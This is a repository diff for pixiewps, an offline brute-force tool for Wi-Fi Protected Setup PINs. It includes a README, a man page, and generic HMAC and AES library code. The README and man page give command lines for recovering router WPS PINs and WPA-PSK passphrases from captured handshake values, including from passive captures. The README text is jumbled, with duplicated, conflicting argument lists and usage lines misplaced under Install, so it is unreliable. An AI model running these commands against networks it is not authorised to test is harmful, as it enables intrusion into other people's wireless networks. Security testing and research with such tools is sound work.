- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack))
You can also visit the [wiki](https://github.com/wiire-a/pixiewps/wiki).
# Requirements
```
~/pixiewps$ cd src
~/pixiewps/src$ make
~/pixiewps/src$ sudo make install
apt-get -y install build-essential
```
# USAGE
- Prior versions of **1.2** require [libssl-dev](https://www.openssl.org/)
- Versions **1.4** and later make use of multi-threading and require **libpthread** ([POSIX threads](https://en.wikipedia.org/wiki/POSIX_Threads))
OpenSSL has also been re-introduced as optional to achieve better speeds. See the **Build** section.
# Setup
**Download**
`git clone https://github.com/wiire/pixiewps`
or
`wget https://github.com/wiire/pixiewps/archive/master.zip && unzip master.zip`
**Build**
```bash
cd pixiewps*/
make
```
Optionally, you can run `make OPENSSL=1` to use faster OpenSSL SHA-256 functions.
**Install**
```
Usage: pixiewps <arguments>
sudo make install
```
Required Arguments:
# Usage
```
Usage: pixiewps <arguments>
Required arguments:
-e, --pke : Enrollee public key
-r, --pkr : Registrar public key
-s, --e-hash1 : E-Hash1
-z, --e-hash2 : E-Hash2
-a, --authkey : Key used in HMAC SHA-256
Optional Arguments:
-s, --e-hash1 : Enrollee hash 1
-z, --e-hash2 : Enrollee hash 2
-a, --authkey : Authentication session key
-n, --e-nonce : Enrollee nonce
-S, --dh-small : Small Diffie-Hellman keys (--pkr not needed)
-h, --help : Display this usage screen
Optional arguments:
-m, --r-nonce : Registrar nonce
-b, --e-bssid : Enrollee BSSID
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
-o, --output : Write output to file
-j, --jobs : Number of parallel threads to use [Auto]
-h : Display this usage screen
--help : Verbose help and more usage examples
-V, --version : Display version
--mode N[,... N] : Mode selection, comma separated [Auto]
--start [mm/]yyyy : Starting date (only mode 3) [+1 day]
--end [mm/]yyyy : Ending date (only mode 3) [-1 day]
-f, --force : Bruteforce full range (only mode 3)
Miscellaneous arguments:
-7, --m7-enc : Recover encrypted settings from M7 (only mode 3)
-5, --m5-enc : Recover secret nonce from M5 (only mode 3)
```
## Usage example
The most common usage example is:
```
pixiewps --pke ... --pkr ... --e-hash1 ... --e-hash2 ... --authkey ... --e-nonce ...
```
which requires a modified version of Reaver or Bully which prints the *Authentication Session key* (`--authkey`, `-a`). The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x).
The program has also a man page and a verbose help screen (`--help`) with more examples.
## -S, --dh-small
This feature was introduced back in Reaver 1.3. It works by choosing the private key = 1, thus resulting in having the public key `--pkr` = 2. This speeds up the cracking process since the AP must do less computations to calculate the Diffie-Hellman shared secret, which is later used to derive the session keys that encrypt the current transaction. Pixiewps can exploit this feature so that the user doesn't have to input `--pkr` (it's always 2) and optionally compute the session keys, like `--authkey`, if additional arguments, `--r-nonce` and `--bssid`, are specified.
It turns out some routers are buggy and do not function correctly with this feature. Some won't even be able to validate the correct PIN and the transaction will fail after M4. For this reason this feature is **deprecated** and should **never be used** in Reaver.
## -7, --m7-enc
This option requires the attribute *encrypted settings* found in M7 when the Registrar proved knowledge of the PIN, and the Access Points, the Enrollee, sends its current network configuration.
This feature can be used to crack the WPA-PSK (and WPS PIN) from a passive packet capture (e.g. sniffing a PBC session).
## -f, --force
This option is used only for mode 3. When used pixiewps will start bruteforcing from the current time and go back all the way to 0. It is conceptually identical to using `--end 01/1970` only (or `--start 01/1970` since they're interchangeable).
## Empty PIN
The empty PIN, denoted with `<empty>` can be tested with `-p ""` in Reaver [1.6.1](https://github.com/t6x/reaver-wps-fork-t6x/releases/tag/v1.6.1) and later. It comes from a misconfiguration of the PIN method on some Access Points which have the PIN variable set to `NULL` (or empty string).
![pixiewps_screenshot_3](https://i.imgur.com/t3JYGHV.png)
# Supported platforms
Pixiewps can be compiled for a wide variety of platforms. On Windows it can be compiled with [MinGW](http://www.mingw.org/). Be sure to have installed phtread support.
Since version 1.4.1 it has been included in [OpenWrt](https://openwrt.org/) and [LEDE](https://lede-project.org/) official repositories.
## Versioning convention
The version numbering is in the form `1.x.y`, where `x` usually indicates a major release, and `y` a minor release, typically bug fixing or other small changes. Every major release starts with `y = 0` and should be considered unstable in the first hours of publishing, even if not marked as such.
For a list of changes between one release and the previous refer to [CHANGELOG](CHANGELOG.md).
## Notes for wrappers and scripts
- The data in input can be formatted with one of the following byte separators: '`:`', '`-`', '` `', or without
- The most useful tags like `WPS pin` and `WPA-PSK` are denoted with `[+]` or `[-]` in case of failure
- Pixiewps returns `0` on a successful attempt
- An option that has been _deprecated_ means that it shouldn't be used anymore and may get removed on a later release
# Contributing
Since the very first release pixiewps has improved a lot, but it's hard to keep track of every device on the market. We have decided to add an automatic message suggesting that we are interested in the parameters of the device tested by the user.
# Acknowledgements
- Part of the code was inspired by Bully by Brian Purcell
- The crypto and bignum libraries were taken from [LibTomCrypt](https://github.com/libtom/libtomcrypt) and [TomsFastMath](https://github.com/libtom/tomsfastmath)
- Endianness detection and conversion is from [rofl0r/endianness.h](https://github.com/rofl0r/endianness.h)
- See [contributors](https://github.com/wiire-a/pixiewps/graphs/contributors) for a list of everyone that has contributed
- Huge thanks to `kcdtv`, `rofl0r` and `binarymaster` for helping and testing
- Special thanks to `soxrok2212`, `datahead`, `t6_x`, `aanarchyy` and the [Kali Linux](https://www.kali.org/) community
# References
Pixiewps is based on the work of Dominique Bongard ([@Reversity](https://twitter.com/reversity)):
- [Offline bruteforce attack on WiFi Protected Setup](http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf) (slides)
- [WPS Insecurity](http://video.adm.ntnu.no/pres/549931214e18d) (video presentation at NTNU)

126
pixiewps.1 Normal file
View File

@ -0,0 +1,126 @@
.TH PIXIEWPS "1" "November 2017" "pixiewps " "Offline WPS bruteforce tool"
.SH NAME
\fBpixiewps\fR \- Offline Wi-Fi Protected Setup bruteforce tool
.SH DESCRIPTION
.IP
Pixiewps is a tool written in C used to bruteforce offline the WPS PIN method exploiting
the low or non-existing entropy of some Access Points, the so-called "pixie-dust attack".
.IP
It is meant for educational purposes only.
.IP
.PP
.SH SYNOPSIS
.B pixiewps <arguments>
.SH ARGUMENTS
.SS REQUIRED ARGUMENTS
\fB\-e\fR, \fB\-\-pke\fR
.IP
Enrollee's DH public key, found in M1.
.PP
\fB\-r\fR, \fB\-\-pkr\fR
.IP
Registrar's DH public key, found in M2. It can be avoided by specifying \fB\-\-dh\-small\fR
in both Reaver and pixiewps.
.IP
pixiewps \fB\-e\fR <pke> \fB\-s\fR <e\-hash1> \fB\-z\fR <e\-hash2> \fB\-a\fR <authkey> \fB\-n\fR <e\-nonce> \fB\-S\fR
.PP
\fB\-s\fR, \fB\-\-e\-hash1\fR
.IP
Enrollee's hash 1, found in M3. It's the hash of the first half of the PIN.
.PP
\fB\-z\fR, \fB\-\-e\-hash2\fR
.IP
Enrollee's hash 2, found in M3. It's the hash of the second half of the PIN.
.PP
\fB\-a\fR, \fB\-\-authkey\fR
.IP
Authentication session key. Although for this parameter a modified version of Reaver or Bully
is needed, it can be avoided by specifying small Diffie\-Hellman keys in both Reaver and pixiewps
and supplying \fB\-\-e\-nonce\fR, \fB\-\-r\-nonce\fR and \fB\-\-e\-bssid\fR.
.IP
pixiewps \fB\-e\fR <pke> \fB\-s\fR <e\-hash1> \fB\-z\fR <e\-hash2> \fB\-S\fR \fB\-n\fR <e\-nonce> \fB\-m\fR <r\-nonce> \fB\-b\fR <e\-bssid>
.PP
\fB\-n\fR, \fB\-\-e\-nonce\fR
.IP
Enrollee's nonce, found in M1.
.PP
.SS OPTIONAL ARGUMENTS
\fB\-m\fR, \fB\-\-r\-nonce\fR
.IP
Registrar's nonce, found in M2. Used with other parameters to compute the session keys.
.PP
\fB\-b\fR, \fB\-\-e\-bssid\fR
.IP
Enrollee's BSSID. Used with other parameters to compute the session keys.
.PP
\fB\-S\fR, \fB\-\-dh\-small\fR (deprecated)
.IP
Small Diffie\-Hellman keys. The same option must be specified in Reaver too. Some Access Points
seem to be buggy and don't behave correctly with this option. Avoid using it with Reaver when
possible.
.PP
\fB\-v\fR, \fB\-\-verbosity\fR
.IP
Verbosity level 1-3, 1 is quietest, default is 3.
.PP
\fB\-h\fR
.IP
Display a simple help usage screen.
.PP
\fB\-\-help\fR
.IP
Display verbose help.
.PP
\fB\-V\fR, \fB\-\-version\fR
.IP
Display version and other information.
.PP
\fB\-\-mode\fR N[,... N]
.IP
Select modes, comma separated (experimental modes are not used unless specified):
.IP
\fB1\fR \- RT/MT/CL
.IP
\fB2\fR \- eCos simple
.IP
\fB3\fR \- RTL819x
.IP
\fB4\fR \- eCos simplest [Experimental]
.IP
\fB5\fR \- eCos Knuth [Experimental]
.PP
\fB\-\-start\fR [mm/]yyyy
.TP
\fB\-\-end\fR [mm/]yyyy
.IP
Starting and ending dates for mode 3, they are interchangeable.
.IP
If only one is specified, the current time will be used for the other. The earliest possible date
is 01/1970, corresponding to 0 (Unix epoch time), the latest is 02/2038, corresponding to 0x7FFFFFFF.
If \fB\-\-force\fR is used then pixiewps will start from the current time and go back all the way to 0.
.PP
.SS MISCELLANEOUS ARGUMENTS
\fB\-7\fR, \fB\-\-m7\-enc\fR
.IP
Encrypted settings, found in M7. Recover Enrollee's WPA-PSK and secret nonce 2. This feature only
works on some Access Points vulnerable to mode 3.
.IP
pixiewps \fB\-e\fR <pke> \fB\-r\fR <pkr> \fB\-n\fR <e\-nonce> \fB\-m\fR <r\-nonce> \fB\-b\fR <e\-bssid> \fB\-7\fR <enc7> \fB\-\-mode 3\fR
.PP
\fB\-5\fR, \fB\-\-m5\-enc\fR
.IP
Encrypted settings, found in M5. Recover Enrollee's secret nonce 1. This option must be used in
conjunction with \fB\-\-m7\-enc\fR. If \fB\-\-e\-hash1\fR and \fB\-\-e\-hash2\fR are also specified,
pixiewps will also recover the WPS PIN.
.IP
pixiewps \fB\-e\fR <pke> \fB\-r\fR <pkr> \fB\-n\fR <e\-nonce> \fB\-m\fR <r\-nonce> \fB\-b\fR <e\-bssid> \fB\-7\fR <enc7> \fB\-5\fR <enc5> \fB\-\-mode 3\fR
.IP
pixiewps \fB\-e\fR <pke> \fB\-r\fR <pkr> \fB\-n\fR <e\-nonce> \fB\-m\fR <r\-nonce> \fB\-b\fR <e\-bssid> \fB\-7\fR <enc7> \fB\-5\fR <enc5> \fB\-\-mode 3\fR \fB\-s\fR <e\-hash1> \fB\-z\fR <e\-hash2>
.SH EXAMPLES
pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>
.PP
pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>
.SH AUTHOR
Pixiewps was developed by wiire.
.PP
This manual page was written by Daniel Echeverry <epsilon77@gmail.com> and Samuel Henrique <samueloph@gmail.com> for the Debian project, but can be used by other projects as well.

View File

@ -1,18 +0,0 @@
CC = gcc
CCFLAGS = -lssl -lcrypto -Wall -Werror
TARGET = pixiewps
PREFIX = $(DESTDIR)/usr/local
BINDIR = $(PREFIX)/bin
all:
$(CC) -o $(TARGET) pixiewps.c $(CCFLAGS)
install:
install -D pixiewps $(BINDIR)/$(TARGET)
uninstall:
rm $(BINDIR)/$(TARGET)
clean:
rm -f $(TARGET)

27
src/config.h Normal file
View File

@ -0,0 +1,27 @@
/*
* pixiewps: offline WPS brute-force utility that exploits low entropy PRNGs
*
* Copyright (c) 2015-2017, wiire <wi7ire@gmail.com>
* SPDX-License-Identifier: GPL-3.0+
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef CONFIG_H
#define CONFIG_H
#define ENDIANNESS_PORTABLE_CONVERSION
#include "endianness.h"
#define sha256(i, l, d) sha256_full(i, l, d)
#define hmac_sha256(k, l, i, n, o) \
hmac_sha256_full(k, l, i, n, o)
#endif /* CONFIG_H */

View File

@ -0,0 +1,26 @@
#include <stdlib.h>
#include <stdint.h>
#include "tfm/tfm.h"
#define u8 uint8_t
int crypto_mod_exp(const u8 *base, size_t base_len,
const u8 *power, size_t power_len,
const u8 *modulus, size_t modulus_len,
u8 *result, size_t *result_len)
{
fp_int bn_base, bn_exp, bn_modulus, bn_result;
fp_read_unsigned_bin(&bn_base, base, base_len);
fp_read_unsigned_bin(&bn_exp, power, power_len);
fp_read_unsigned_bin(&bn_modulus, modulus, modulus_len);
fp_init(&bn_result);
fp_exptmod(&bn_base, &bn_exp, &bn_modulus, &bn_result);
fp_to_unsigned_bin(&bn_result, result);
*result_len = fp_unsigned_bin_size(&bn_result);
return 0;
}

117
src/crypto/hmac_sha256.c Normal file
View File

@ -0,0 +1,117 @@
/* Public domain hmac_sha256 implementation written by rofl0r for pixiewps */
#include <stdint.h>
#include <string.h>
#ifdef USE_OPENSSL
# include <openssl/sha.h>
#else
# include "tc/sha256.c"
# define SHA256_CTX hash_state
# define SHA256_Init(x) do { sha256_init(x); } while(0)
# define SHA256_Update(x, y, z) sha256_process(x, y, z)
# define SHA256_Final(y, x) sha256_done(x, y)
#endif
#define PAD_SIZE 64
#define HASH_SIZE 32
static void sha256_full(const uint8_t *input, size_t ilen, uint8_t *output)
{
SHA256_CTX ctx;
SHA256_Init(&ctx);
SHA256_Update(&ctx, input, ilen);
SHA256_Final(output, &ctx);
}
static void hmac_sha256_full(const uint8_t *key, size_t keylen,
const uint8_t *input, size_t ilen, uint8_t *output)
{
size_t i;
uint8_t opad[PAD_SIZE], ipad[PAD_SIZE], hash[HASH_SIZE];
SHA256_CTX ctx;
memset(ipad, 0x36, PAD_SIZE);
memset(opad, 0x5C, PAD_SIZE);
if (keylen > PAD_SIZE) {
SHA256_Init(&ctx);
SHA256_Update(&ctx, key, keylen);
SHA256_Final(hash, &ctx);
for (i = 0; i < HASH_SIZE; i++) {
ipad[i] ^= hash[i];
opad[i] ^= hash[i];
}
} else for (i = 0; i < keylen; i++) {
ipad[i] ^= key[i];
opad[i] ^= key[i];
}
SHA256_Init(&ctx);
SHA256_Update(&ctx, ipad, PAD_SIZE);
SHA256_Update(&ctx, input, ilen);
SHA256_Final(hash, &ctx);
SHA256_Init(&ctx);
SHA256_Update(&ctx, opad, PAD_SIZE);
SHA256_Update(&ctx, hash, sizeof hash);
SHA256_Final(output, &ctx);
}
struct hmac_ctx {
SHA256_CTX ictx;
SHA256_CTX octx;
};
static void hmac_sha256_init(struct hmac_ctx *hctx, const uint8_t *key,
size_t keylen)
{
size_t i;
uint8_t opad[PAD_SIZE], ipad[PAD_SIZE], hash[HASH_SIZE];
SHA256_CTX ctx;
memset(ipad, 0x36, PAD_SIZE);
memset(opad, 0x5C, PAD_SIZE);
if (keylen > PAD_SIZE) {
SHA256_Init(&ctx);
SHA256_Update(&ctx, key, keylen);
SHA256_Final(hash, &ctx);
for (i = 0; i < HASH_SIZE; i++) {
ipad[i] ^= hash[i];
opad[i] ^= hash[i];
}
} else for (i = 0; i < keylen; i++) {
ipad[i] ^= key[i];
opad[i] ^= key[i];
}
SHA256_Init(&hctx->ictx);
SHA256_Update(&hctx->ictx, ipad, PAD_SIZE);
SHA256_Init(&hctx->octx);
SHA256_Update(&hctx->octx, opad, PAD_SIZE);
}
static void hmac_sha256_yield(const struct hmac_ctx *hctx,
const uint8_t *input, size_t ilen, uint8_t *output)
{
SHA256_CTX ctx;
uint8_t hash[HASH_SIZE];
memcpy(&ctx, &hctx->ictx, sizeof(ctx));
SHA256_Update(&ctx, input, ilen);
SHA256_Final(hash, &ctx);
memcpy(&ctx, &hctx->octx, sizeof(ctx));
SHA256_Update(&ctx, hash, sizeof hash);
SHA256_Final(output, &ctx);
}

415
src/crypto/tc/aes.c Normal file
View File

@ -0,0 +1,415 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
/* AES implementation by Tom St Denis
*
* Derived from the Public Domain source code by
---
* rijndael-alg-fst.c
*
* @version 3.0 (December 2000)
*
* Optimised ANSI C code for the Rijndael cipher (now AES)
*
* @author Vincent Rijmen <vincent.rijmen@esat.kuleuven.ac.be>
* @author Antoon Bosselaers <antoon.bosselaers@esat.kuleuven.ac.be>
* @author Paulo Barreto <paulo.barreto@terra.com.br>
---
*/
/**
@file aes.c
Implementation of AES
*/
#include "tomcrypt.h"
#define SETUP rijndael_setup
#define ECB_ENC rijndael_ecb_encrypt
#define ECB_DEC rijndael_ecb_decrypt
#define ECB_DONE rijndael_done
#define ECB_KS rijndael_keysize
#define __LTC_AES_TAB_C__
#include "aes_tab.c"
static ulong32 setup_mix(ulong32 temp)
{
return (Te4_3[byte(temp, 2)]) ^
(Te4_2[byte(temp, 1)]) ^
(Te4_1[byte(temp, 0)]) ^
(Te4_0[byte(temp, 3)]);
}
static ulong32 setup_mix2(ulong32 temp)
{
return Td0(255 & Te4[byte(temp, 3)]) ^
Td1(255 & Te4[byte(temp, 2)]) ^
Td2(255 & Te4[byte(temp, 1)]) ^
Td3(255 & Te4[byte(temp, 0)]);
}
/**
Initialize the AES (Rijndael) block cipher
@param key The symmetric key you wish to pass
@param keylen The key length in bytes
@param num_rounds The number of rounds desired (0 for default)
@param skey The key in as scheduled by this function.
@return CRYPT_OK if successful
*/
int SETUP(const unsigned char *key, int keylen, int num_rounds, symmetric_key *skey)
{
int i;
ulong32 temp, *rk;
ulong32 *rrk;
LTC_ARGCHK(key != NULL);
LTC_ARGCHK(skey != NULL);
if (keylen != 16 && keylen != 24 && keylen != 32) {
return CRYPT_INVALID_KEYSIZE;
}
if (num_rounds != 0 && num_rounds != (10 + ((keylen/8)-2)*2)) {
return CRYPT_INVALID_ROUNDS;
}
skey->rijndael.Nr = 10 + ((keylen/8)-2)*2;
/* setup the forward key */
i = 0;
rk = skey->rijndael.eK;
LOAD32H(rk[0], key );
LOAD32H(rk[1], key + 4);
LOAD32H(rk[2], key + 8);
LOAD32H(rk[3], key + 12);
if (keylen == 16) {
for (;;) {
temp = rk[3];
rk[4] = rk[0] ^ setup_mix(temp) ^ rcon[i];
rk[5] = rk[1] ^ rk[4];
rk[6] = rk[2] ^ rk[5];
rk[7] = rk[3] ^ rk[6];
if (++i == 10) {
break;
}
rk += 4;
}
} else if (keylen == 24) {
LOAD32H(rk[4], key + 16);
LOAD32H(rk[5], key + 20);
for (;;) {
#ifdef _MSC_VER
temp = skey->rijndael.eK[rk - skey->rijndael.eK + 5];
#else
temp = rk[5];
#endif
rk[ 6] = rk[ 0] ^ setup_mix(temp) ^ rcon[i];
rk[ 7] = rk[ 1] ^ rk[ 6];
rk[ 8] = rk[ 2] ^ rk[ 7];
rk[ 9] = rk[ 3] ^ rk[ 8];
if (++i == 8) {
break;
}
rk[10] = rk[ 4] ^ rk[ 9];
rk[11] = rk[ 5] ^ rk[10];
rk += 6;
}
} else if (keylen == 32) {
LOAD32H(rk[4], key + 16);
LOAD32H(rk[5], key + 20);
LOAD32H(rk[6], key + 24);
LOAD32H(rk[7], key + 28);
for (;;) {
#ifdef _MSC_VER
temp = skey->rijndael.eK[rk - skey->rijndael.eK + 7];
#else
temp = rk[7];
#endif
rk[ 8] = rk[ 0] ^ setup_mix(temp) ^ rcon[i];
rk[ 9] = rk[ 1] ^ rk[ 8];
rk[10] = rk[ 2] ^ rk[ 9];
rk[11] = rk[ 3] ^ rk[10];
if (++i == 7) {
break;
}
temp = rk[11];
rk[12] = rk[ 4] ^ setup_mix(RORc(temp, 8));
rk[13] = rk[ 5] ^ rk[12];
rk[14] = rk[ 6] ^ rk[13];
rk[15] = rk[ 7] ^ rk[14];
rk += 8;
}
} else {
/* this can't happen */
/* coverity[dead_error_line] */
return CRYPT_ERROR;
}
/* setup the inverse key now */
rk = skey->rijndael.dK;
rrk = skey->rijndael.eK + (28 + keylen) - 4;
/* apply the inverse MixColumn transform to all round keys but the first and the last: */
/* copy first */
*rk++ = *rrk++;
*rk++ = *rrk++;
*rk++ = *rrk++;
*rk = *rrk;
rk -= 3; rrk -= 3;
for (i = 1; i < skey->rijndael.Nr; i++) {
rrk -= 4;
rk += 4;
temp = rrk[0];
rk[0] = setup_mix2(temp);
temp = rrk[1];
rk[1] = setup_mix2(temp);
temp = rrk[2];
rk[2] = setup_mix2(temp);
temp = rrk[3];
rk[3] = setup_mix2(temp);
}
/* copy last */
rrk -= 4;
rk += 4;
*rk++ = *rrk++;
*rk++ = *rrk++;
*rk++ = *rrk++;
*rk = *rrk;
return CRYPT_OK;
}
/**
Encrypts a block of text with AES
@param pt The input plaintext (16 bytes)
@param ct The output ciphertext (16 bytes)
@param skey The key as scheduled
@return CRYPT_OK if successful
*/
int ECB_ENC(const unsigned char *pt, unsigned char *ct, symmetric_key *skey)
{
ulong32 s0, s1, s2, s3, t0, t1, t2, t3, *rk;
int Nr, r;
LTC_ARGCHK(pt != NULL);
LTC_ARGCHK(ct != NULL);
LTC_ARGCHK(skey != NULL);
Nr = skey->rijndael.Nr;
rk = skey->rijndael.eK;
/*
* map byte array block to cipher state
* and add initial round key:
*/
LOAD32H(s0, pt ); s0 ^= rk[0];
LOAD32H(s1, pt + 4); s1 ^= rk[1];
LOAD32H(s2, pt + 8); s2 ^= rk[2];
LOAD32H(s3, pt + 12); s3 ^= rk[3];
for (r = 0; ; r++) {
rk += 4;
t0 =
Te0(byte(s0, 3)) ^
Te1(byte(s1, 2)) ^
Te2(byte(s2, 1)) ^
Te3(byte(s3, 0)) ^
rk[0];
t1 =
Te0(byte(s1, 3)) ^
Te1(byte(s2, 2)) ^
Te2(byte(s3, 1)) ^
Te3(byte(s0, 0)) ^
rk[1];
t2 =
Te0(byte(s2, 3)) ^
Te1(byte(s3, 2)) ^
Te2(byte(s0, 1)) ^
Te3(byte(s1, 0)) ^
rk[2];
t3 =
Te0(byte(s3, 3)) ^
Te1(byte(s0, 2)) ^
Te2(byte(s1, 1)) ^
Te3(byte(s2, 0)) ^
rk[3];
if (r == Nr-2) {
break;
}
s0 = t0; s1 = t1; s2 = t2; s3 = t3;
}
rk += 4;
/*
* apply last round and
* map cipher state to byte array block:
*/
s0 =
(Te4_3[byte(t0, 3)]) ^
(Te4_2[byte(t1, 2)]) ^
(Te4_1[byte(t2, 1)]) ^
(Te4_0[byte(t3, 0)]) ^
rk[0];
STORE32H(s0, ct);
s1 =
(Te4_3[byte(t1, 3)]) ^
(Te4_2[byte(t2, 2)]) ^
(Te4_1[byte(t3, 1)]) ^
(Te4_0[byte(t0, 0)]) ^
rk[1];
STORE32H(s1, ct+4);
s2 =
(Te4_3[byte(t2, 3)]) ^
(Te4_2[byte(t3, 2)]) ^
(Te4_1[byte(t0, 1)]) ^
(Te4_0[byte(t1, 0)]) ^
rk[2];
STORE32H(s2, ct+8);
s3 =
(Te4_3[byte(t3, 3)]) ^
(Te4_2[byte(t0, 2)]) ^
(Te4_1[byte(t1, 1)]) ^
(Te4_0[byte(t2, 0)]) ^
rk[3];
STORE32H(s3, ct+12);
return CRYPT_OK;
}
/**
Decrypts a block of text with AES
@param ct The input ciphertext (16 bytes)
@param pt The output plaintext (16 bytes)
@param skey The key as scheduled
@return CRYPT_OK if successful
*/
int ECB_DEC(const unsigned char *ct, unsigned char *pt, symmetric_key *skey)
{
ulong32 s0, s1, s2, s3, t0, t1, t2, t3, *rk;
int Nr, r;
LTC_ARGCHK(pt != NULL);
LTC_ARGCHK(ct != NULL);
LTC_ARGCHK(skey != NULL);
Nr = skey->rijndael.Nr;
rk = skey->rijndael.dK;
/*
* map byte array block to cipher state
* and add initial round key:
*/
LOAD32H(s0, ct ); s0 ^= rk[0];
LOAD32H(s1, ct + 4); s1 ^= rk[1];
LOAD32H(s2, ct + 8); s2 ^= rk[2];
LOAD32H(s3, ct + 12); s3 ^= rk[3];
for (r = 0; ; r++) {
rk += 4;
t0 =
Td0(byte(s0, 3)) ^
Td1(byte(s3, 2)) ^
Td2(byte(s2, 1)) ^
Td3(byte(s1, 0)) ^
rk[0];
t1 =
Td0(byte(s1, 3)) ^
Td1(byte(s0, 2)) ^
Td2(byte(s3, 1)) ^
Td3(byte(s2, 0)) ^
rk[1];
t2 =
Td0(byte(s2, 3)) ^
Td1(byte(s1, 2)) ^
Td2(byte(s0, 1)) ^
Td3(byte(s3, 0)) ^
rk[2];
t3 =
Td0(byte(s3, 3)) ^
Td1(byte(s2, 2)) ^
Td2(byte(s1, 1)) ^
Td3(byte(s0, 0)) ^
rk[3];
if (r == Nr-2) {
break;
}
s0 = t0; s1 = t1; s2 = t2; s3 = t3;
}
rk += 4;
/*
* apply last round and
* map cipher state to byte array block:
*/
s0 =
(Td4[byte(t0, 3)] & 0xff000000) ^
(Td4[byte(t3, 2)] & 0x00ff0000) ^
(Td4[byte(t2, 1)] & 0x0000ff00) ^
(Td4[byte(t1, 0)] & 0x000000ff) ^
rk[0];
STORE32H(s0, pt);
s1 =
(Td4[byte(t1, 3)] & 0xff000000) ^
(Td4[byte(t0, 2)] & 0x00ff0000) ^
(Td4[byte(t3, 1)] & 0x0000ff00) ^
(Td4[byte(t2, 0)] & 0x000000ff) ^
rk[1];
STORE32H(s1, pt+4);
s2 =
(Td4[byte(t2, 3)] & 0xff000000) ^
(Td4[byte(t1, 2)] & 0x00ff0000) ^
(Td4[byte(t0, 1)] & 0x0000ff00) ^
(Td4[byte(t3, 0)] & 0x000000ff) ^
rk[2];
STORE32H(s2, pt+8);
s3 =
(Td4[byte(t3, 3)] & 0xff000000) ^
(Td4[byte(t2, 2)] & 0x00ff0000) ^
(Td4[byte(t1, 1)] & 0x0000ff00) ^
(Td4[byte(t0, 0)] & 0x000000ff) ^
rk[3];
STORE32H(s3, pt+12);
return CRYPT_OK;
}
/** Terminate the context
@param skey The scheduled key
*/
void ECB_DONE(symmetric_key *skey)
{
LTC_UNUSED_PARAM(skey);
}
/**
Gets suitable key size
@param keysize [in/out] The length of the recommended key (in bytes). This function will store the suitable size back in this variable.
@return CRYPT_OK if the input key size is acceptable.
*/
int ECB_KS(int *keysize)
{
LTC_ARGCHK(keysize != NULL);
if (*keysize < 16)
return CRYPT_INVALID_KEYSIZE;
if (*keysize < 24) {
*keysize = 16;
return CRYPT_OK;
} else if (*keysize < 32) {
*keysize = 24;
return CRYPT_OK;
} else {
*keysize = 32;
return CRYPT_OK;
}
}

130
src/crypto/tc/aes_cbc.c Normal file
View File

@ -0,0 +1,130 @@
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#include "tomcrypt.h"
/**
@file cbc_start.c
CBC implementation, start chain, Tom St Denis
*/
/**
Initialize a CBC context
@param cipher The index of the cipher desired
@param IV The initialization vector
@param key The secret key
@param keylen The length of the secret key (octets)
@param num_rounds Number of rounds in the cipher desired (0 for default)
@param cbc The CBC state to initialize
@return CRYPT_OK if successful
*/
static int pixie_cbc_start(const unsigned char *IV, const unsigned char *key,
int keylen, int num_rounds, symmetric_CBC *cbc)
{
int x, err;
LTC_ARGCHK(IV != NULL);
LTC_ARGCHK(key != NULL);
LTC_ARGCHK(cbc != NULL);
/* setup cipher */
if ((err = rijndael_setup(key, keylen, num_rounds, &cbc->key)) != CRYPT_OK) {
return err;
}
/* copy IV */
cbc->blocklen = 16;
for (x = 0; x < cbc->blocklen; x++) {
cbc->IV[x] = IV[x];
}
return CRYPT_OK;
}
/**
CBC decrypt
@param ct Ciphertext
@param pt [out] Plaintext
@param len The number of bytes to process (must be multiple of block length)
@param cbc CBC state
@return CRYPT_OK if successful
*/
static int pixie_cbc_decrypt(const unsigned char *ct, unsigned char *pt, unsigned long len, symmetric_CBC *cbc)
{
int x, err;
unsigned char tmp[16];
unsigned char tmpy;
LTC_ARGCHK(pt != NULL);
LTC_ARGCHK(ct != NULL);
LTC_ARGCHK(cbc != NULL);
/* is blocklen valid? */
if (cbc->blocklen < 1 || cbc->blocklen > (int)sizeof(cbc->IV) || cbc->blocklen > (int)sizeof(tmp)) {
return CRYPT_INVALID_ARG;
}
if (len % cbc->blocklen) {
return CRYPT_INVALID_ARG;
}
if (0) { /*cipher_descriptor[cbc->cipher].accel_cbc_decrypt != NULL) {
return cipher_descriptor[cbc->cipher].accel_cbc_decrypt(ct, pt, len / cbc->blocklen, cbc->IV, &cbc->key);
*/
} else {
while (len) {
/* decrypt */
if ((err = rijndael_ecb_decrypt(ct, tmp, &cbc->key)) != CRYPT_OK) {
return err;
}
/* xor IV against plaintext */
for (x = 0; x < cbc->blocklen; x++) {
tmpy = tmp[x] ^ cbc->IV[x];
cbc->IV[x] = ct[x];
pt[x] = tmpy;
}
ct += cbc->blocklen;
pt += cbc->blocklen;
len -= cbc->blocklen;
}
}
return CRYPT_OK;
}
/**
* aes_128_cbc_decrypt - AES-128 CBC decryption
* @key: Decryption key
* @iv: Decryption IV for CBC mode (16 bytes)
* @data: Data to decrypt in-place
* @data_len: Length of data in bytes (must be divisible by 16)
* Returns: 0 on success, -1 on failure
*/
int aes_128_cbc_decrypt(
const unsigned char *key,
const unsigned char *iv,
unsigned char *data,
size_t data_len)
{
symmetric_CBC ctx;
int ret = pixie_cbc_start(iv, key, 16, 0, &ctx);
if(ret != CRYPT_OK) return -1;
while(data_len) {
unsigned char tmp[16];
